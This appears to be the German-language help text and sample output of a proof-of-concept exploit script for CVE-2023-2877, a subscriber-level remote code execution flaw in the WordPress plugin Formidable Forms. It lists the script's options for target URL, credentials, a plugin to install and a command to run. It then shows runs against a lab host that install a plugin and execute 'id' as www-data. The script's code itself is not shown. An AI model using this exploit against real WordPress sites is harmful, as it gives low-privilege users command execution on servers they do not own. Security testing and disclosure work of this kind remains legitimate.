usage: CVE-2023-2877.py [-h] -w URL -u USERNAME -p PASSWORD [-pl PLUGIN] [-c CMD]

CVE-2023-2877 - Formidable Forms < 6.3.1 - Subscriber+ Remotecodeausführung Skript

options:
  -h, --help            show this help message and exit
  -w URL, --url URL     WordPress-Seiten-URL
  -u USERNAME, --username USERNAME
                        WordPress-Benutzername
  -p PASSWORD, --password PASSWORD
                        WordPress-Passwort
  -pl PLUGIN, --plugin PLUGIN
                        Anderes Plugin zur Installation, z.B. mstore-api.3.9.0.zip
  -c CMD, --cmd CMD     Befehlswert

$ python3 CVE-2023-2877.py -w http://wordpress.lan -u user -p useruser1
Erfolgreich angemeldet.
Token extrahiert: 15157e0f4740e9d1bbccdc5edbef1292943daf7d064637de094b2af2e9364ee9262f985d41d1658d90f1387800d09e8269a93f6397333e61c13240ababb4648d
Plugin erfolgreich installiert.
Führen Sie nun das Exploit-Skript mit --cmd / -c und Befehl aus.

$ python3 CVE-2023-2877.py -w http://wordpress.lan -u user -p useruser1 -c id
Daten:
[['uid=33(www-data) gid=33(www-data) groups=33(www-data)']]